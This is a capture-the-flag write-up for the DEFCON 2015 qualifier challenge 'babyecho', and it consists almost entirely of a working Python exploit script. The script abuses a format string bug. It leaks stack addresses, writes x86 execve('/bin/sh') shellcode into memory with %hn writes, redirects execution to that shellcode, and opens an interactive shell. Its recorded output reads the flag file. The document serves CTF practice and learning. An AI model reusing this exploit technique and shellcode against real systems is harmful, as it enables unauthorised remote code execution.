[exploit] DEFCON CTF Qualifier 2015, babyecho Writeups

[+[ Format String Bug

#!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "<I", x ) up = lambda x: struct.unpack( "<I", x )[0] host = "localhost" host = "babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me" port = 3232 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) raw_input( "go>" ) def u_recv( st ): bf = '' while st not in bf: bf += s.recv( 1024 ) return bf ## first stage ## print u_recv( "bytes" ) pay = "%p%p%p%p.%p" s.send( pay + "\n" ) stack = s.recv( 1024 ) print stack stack = int(stack.split( "." )[1].split( "\n" )[0], 16) size_buf = stack-0xc ## second stage ## for i in range( 2 ): pay = p(size_buf + i) pay += "%99c" pay += "%7$n" s.send( pay + "\n" ) print s.recv( 1024 ) pay = p( 0x80ea9f0 ) pay += "%c/" * 6 pay += "bk%s" s.send( pay + "\n" ) data = u_recv( "bytes" ) data = u_recv( "bytes" ) print data leak = up((data.split( "bk" )[1])[:4]) print hex( leak ) ## last stage for shellcode ## exit = 0x80ea9f0 first = int((hex(stack&0xffff0000).split( "0x" )[1].split( "0000" )[0]).decode( 'hex' ).encode( 'hex' ), 16) print '+================' last = leak & 0x0000ffff first2 = stack & 0xffff0000 mem = 0x80e0000 + last shellcode = "\x90" * 100 shellcode += "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" for i in range( len(shellcode)/2 ): pay = p( (mem) + i*2) #pay = p( first2 + last + i) pay += "%" + str(int( shellcode[i*2:i*2+2][::-1].encode( 'hex' ), 16 )-0x4) + "c" pay += "%7$hn" s.send( pay + "\n" ) s.recv( 1024 ) pay = p( exit+2 ) pay += "%" + str( 0x80e-4 ) + "c" pay += "%7$hn" s.send( pay + "\n" ) print s.recv( 1024 ) print 'sh#' t = telnetlib.Telnet() t.sock = s t.interact() s.close() ''' Reading 1023 bytes id uid=1001(babyecho) gid=1001(babyecho) groups=1001(babyecho) cat /home/babyecho/flag The flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*% '''